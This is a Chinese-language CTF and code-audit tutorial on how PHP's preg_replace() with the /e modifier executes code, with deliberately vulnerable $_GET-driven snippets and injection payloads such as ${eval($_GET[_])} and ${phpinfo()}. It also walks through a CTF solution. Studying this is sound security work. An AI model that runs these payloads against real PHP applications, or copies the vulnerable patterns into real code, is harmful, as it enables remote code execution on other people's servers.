这里记录下preg_replace()和preg_match()的一些小坑。

0x01 preg_replace()

基本概念

preg_replace()函数执行一个正则表达式的搜索和替换。

函数定义

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分,以replacement进行替换。

参数说明

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

返回值

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

PHP代码执行

如果在构造正则表达式即pattern参数的时候使用了/e修正符,这时preg_replace()函数就会将replacement参数当作PHP代码执行。

preg_replace()函数实现的PHP代码执行分为三种模式,分别是只可控pattern、replacement、subject这三个参数中其中的一个。

模式一——pattern参数可控

1
2
3
4
5
<?php
echo $re = $_GET['re'];
$var = '<h1>phpinfo()</h1>';
preg_replace("/<h1>(.*?)$re", '\\1', $var);
?>

模式二——replacement参数可控

1
2
3
<?php
preg_replace("/com/e",$_GET['re'],"www.baidu.com");
?>

模式三——subject参数可控

1
2
3
<?php
preg_replace("/\s*\[php\](.*?)\[\/php\]\s*/ies", "\\1", $_GET['re']);
?>

这里有个小坑,尝试执行echo ‘mi1k7ea’代码,发现会报错,单引号前被添加转义符转义了:

没关系,换以下几个payload的形式来Bypass即可:

1
2
re=[php]var_dump(`dir`)[/php]
re=[php]${eval($_GET[_])}[/php]&_=phpinfo();

反向引用

这里解释下前面Demo中replacement参数的”\\1”指的是什么意思。

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

\\1中第一个反斜线是转义符号的作用所以它实际上是\1,作用就是引用临时缓存区中编号为1的储存内容,也就是第一次被捕获的子匹配。

所以,之前Demo中replacement参数的”\\1”的意思就是将通过pattern参数匹配到的内容捕获到并赋值给replacement参数。

题目

看一道PHP代码审计题目吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
?>

代码比较简单,将GET方式传递进来的参数名和参数值分别作为preg_replace()函数的pattern参数的正则部分和subject参数,也就是说preg_replace()函数的第一个参数和第三个参数可控,其中pattern参数含有/e修正符,可以实现PHP代码执行。

下面看下几个坑。

坑1——可变变量

比较下下面两个代码的区别:

1
2
3
4
5
6
7
8
9
10
//不会执行phpinfo()
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', 'phpinfo()');
?>

//会执行phpinfo()
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '${phpinfo()}');
//{${phpinfo()}}与${phpinfo()}一致
?>

在前面的模式三Demo中,subject参数为’phpinfo()’即可执行,但这里却不行,因为这里的replacement参数为’strtolower(“\\1”)’,即多调用了strtolower()函数、将\1捕获到的内容转换为了字符串的形式而非代码形式,从而导致无法正常执行。

这里用到可变变量的概念来Bypass。在PHP中变量名是可以动态设置的,看个例子:

1
2
3
4
5
6
7
<?php
$a = "hello";
$$a = "world";
echo $$a;
echo $hello;
//这两个的输出是一样的,输出的都是world,即$$a是先获取$a的值作为变量名,所以$$a=$hello=world
?>

但是这样就存在一个歧义的问题,比如说\$\$a[1],解析器需要知道是想要\$a[1]作为一个变量呢,还是想要$$a作为一个变量并取出该变量中索引为 [1]的值。解决此问题的语法是,对第一种情况用\${\$a[1]},对第二种情况用​\${\$a}[1]。

在这个坑中怎么Bypass呢?——将phpinfo()整个看做一个变量名,外面加上\${}括起来;另一个重要的条件是preg_replace()的replacement参数中是用双引号括起来的即”\\1”,因为双引号会解析里面的变量,因此会先解析\${phpinfo()}里面的内容会变量名,从而执行了phpinfo()。

坑2——GET传递特殊字符会被转换掉

官方给出的payload为:/?.*={${phpinfo()}}

即GET参数名为.*,参数值为{${phpinfo()}}。

直接写进去访问确实没问题,因为(.*)是贪婪模式,会一直匹配符合的内容:

但是一到远程GET传参就GG了:

var_dump看下GET传入的参数是啥:

好吧,’.’被转换成了’_‘,这是因为在PHP中,对于传入的非法的\$_GET数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以fuzz一下PHP会将哪些符号替换成下划线,这里借用大佬博客的图:

Exp

既然(.*)这种贪婪模式无法正常传递过去,那就换其他的payload就OK了:

1
2
\S*=${phpinfo()}
\${\w*\(\)}=${phpinfo()}

0x02 preg_match()

基本概念

preg_match — 执行匹配正则表达式

函数定义如下:

1
preg_match ( string pattern , string matches [, int flags = 0 [, int $offset = 0 ]]] ) : int

搜索subject与pattern给定的正则表达式的一个匹配。

preg_match()并不会执行PHP代码,但是它在一些CTF题目这种出现过,看道题目吧。

题目

可参考:https://ctf-wiki.github.io/ctf-wiki/web/php/php-zh/#preg_match

0x03 参考

PHP代码审计-preg_replace函数命令执行

深入研究preg_replace与代码执行